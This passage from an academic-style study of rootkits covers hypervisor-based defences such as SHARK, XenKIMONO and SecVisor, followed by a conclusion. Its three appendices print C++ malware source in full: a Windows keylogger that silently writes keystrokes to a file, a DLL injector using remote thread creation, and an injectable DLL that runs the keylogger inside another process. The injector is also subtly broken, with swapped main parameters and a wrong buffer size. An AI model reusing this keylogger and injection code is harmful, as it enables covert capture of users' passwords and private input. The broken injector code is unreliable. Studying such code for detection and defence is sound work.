be easily detected,  but new hardware modifications have made them slightly easier to 
implement.  Nested  paging  on  today’s  processors  allow  virtualized  operating  systems 
access to the paging table, making it that much more difficult to know whether or not the 
Operating  System  has  been  virtualized.  Some  researchers  at  Georgia  Tech  have 
developed a counter-root-kit mechanism, essentially utilizing a hypervisor to secure the 
Linux kernel.  The SHARK project  virtualizes  all  system calls,  preventing  them from 



being  overwritten  by  root-kits.  This  allows  a  system  administrator  to  see  what  is 
happening  on  the  target  system,  even  though  the  root-kit  is  attempting  to  prevent 
analysis. While not itself a root-kit, the SHARK project uses some root-kit ideas, such as 
patching  and  virtualizing  system  calls  to  protect  the  system,  not  just  the  attacker’s 
software (Vasisht 2008).

Georgia Tech is not the only university interested in this type of technology. Keio 
University  graduate  students  have  also  developed  a  virtualization  tool  called 
XenKIMONO, a tool that allows users to virtualize an operating system, protecting from 
the same kernel level root-kits. Both XenKIMONO and SHARK obviously come with a 
slightly degraded performance, but if the integrity of the system is paramount, it is an 
acceptable cost. The most important aspect of the XenKIMONO implementation is its 
ability to snapshot. Because it is based on Xen Virtualization, an operating system can be 
paused  and  copied  in  its  current  state,  allowing  digital  forensics  experts  to  pause  a 
machine, snapshot it, and then analyze it as many times as needed without changing the 
state (Quynh 2007).

Finally, there is one other implementation worth mentioning in root-kit style root-
kit prevention.  SecVisor is a small hypervisor developed by CMU that has the ability 
manage what code running on the machine can access the kernel.  It also has its own 
protected  memory  space  that  cannot  be  directly  accessed  from  the  guest  operating 
system, preventing the hypervisor from being subverted by the root-kit. Finally, another 
implementation  strategy  is  to  make  memory  read-only  in  a  number  of  instances, 
preventing executable  code from being run in  buffer overflow attacks.  If  the root-kit 
needs  a  memory  exploit  to  load,  it  is  unable  after  the  hypervisor  loads  on  boot  up 
(Seshadri 2007).

4. Conclusion

In this research study, several root-kit ideologies were assessed and analyzed. The 
information gathered shows the capabilities of a root-kit; what an attacker can do to a 
compromised  machine  can  go  completely  undetected,  even  to  trained  system 
administrators. As a result, the attacker can utilize the machine for any extended period 
for close to any task the root-kit allows. Even a basic root-kit can buy an attacker time 
and  the  backdoor  needed  to  come  back  and  escalate  privilege  when  the  correct 
circumstances  permit.  Although not stealthy,  an attacker  with a basic SYSTEM level 
netcat shell can do almost anything to a target machine, and while not in and of itself a 
root-kit, the shell allows the user to reconfigure the system and install new tools to hide 
the fact that the machine has been compromised. Unfortunately, root-kit frameworks and 
implementations are getting easier to program, and as a result their usage can be expected 
to  increase  for  malware,  viruses,  worms  to  gain  that  extra  foothold  on  the  system. 
Understanding how the root-kit works is a necessity to its removal and prevention, as 
demonstrated by the hypervisor root-kits discussed in Phase Six.



Appendix A: A Minimal Keylogger

#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;
/* 5 */
void keylog();

int main() {
  keylog();
  return 0; /* 10 */
}
void keylog() {

  ofstream file; 
  /* 15 */
  for(;;){
    file.open("C:\\log.txt", ios::out | ios::app);

    for(int i = 8; i < 255; ++i) //Quick and dirty implementation
      if(GetAsyncKeyState(i) & 0x8000){ /* 20 */
        switch(i){
          case VK_RETURN: file << "[CR]\n"; break;
          case VK_SPACE: file <<  " "; break;
          case VK_TAB: file << "[TAB]"; break; 
          case VK_DELETE: file << "[DEL]"; break; /* 25 */
          case VK_BACK: file << "[BSPACE]"; break;
          case VK_ESCAPE: file << "[ESC]"; break;
          case VK_CONTROL: file << "[CTL]"; break;
          default: file << (char)i; break; 
        } /* 30 */
      }
    Sleep(100); //Wait for 100 ms.
    file.close();
  }
}



Appendix B: A Simple DLL Injector

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <string>
/* 5 */
using namespace std;

int main(char** argv, int argc){
    DWORD pid = atoi(argv[1]);
    DWORD bytes; /* 10 */
    char *dllToLoad = strdup(argv[2]);
    int sizeOfDLL = sizeof(dllToLoad)/sizeof(char);

    FARPROC LoadLibraryA = /* 14 */
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

    HANDLE procHandle =
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    LPVOID memHandle = /* 20 */
VirtualAllocEx(procHandle, NULL, sizeOfDLL, 

MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(procHandle, memHandle,
dllToLoad, sizeOfDLL, &bytes); /* 25 */

    HANDLE hRemoteThread = CreateRemoteThread(procHandle, NULL, 0,
 (LPTHREAD_START_ROUTINE)LoadLibraryA, memHandle, 0, NULL);

    CloseHandle(procHandle); /* 30 */

    return 0;  
}



Appendix C: An injectable DLL

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <fstream>

void keylog();

BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) {
  switch (reason){
      case DLL_PROCESS_ATTACH:
      break;
      case DLL_PROCESS_DETACH:
      break;
      case DLL_THREAD_ATTACH:

keylog();
      break;
      case DLL_THREAD_DETACH:

// Clean­up code goes here.
      break;
    }
    return TRUE;
}

void keylog() {

  ofstream file; 
  HWND active;
  for(;;){
    file.open("C:\\log.txt", ios::out | ios::app);

    for(int i = 8; i < 255; ++i)
      if(GetAsyncKeyState(i) & 0x8000){
        switch(i){
          case VK_RETURN: file << "[CR]\n"; break;
          case VK_SPACE: file <<  " "; break;
          case VK_TAB: file << "[TAB]"; break; 
          case VK_DELETE: file << "[DEL]"; break;
          case VK_BACK: file << "[BSPACE]"; break;
          case VK_ESCAPE: file << "[ESC]"; break;
          case VK_CONTROL: file << "[CTL]"; break;
          default: file << (char)i; break; 
        } 
      }
    Sleep(100); //Wait for 100 ms.
    file.close();
  }
}
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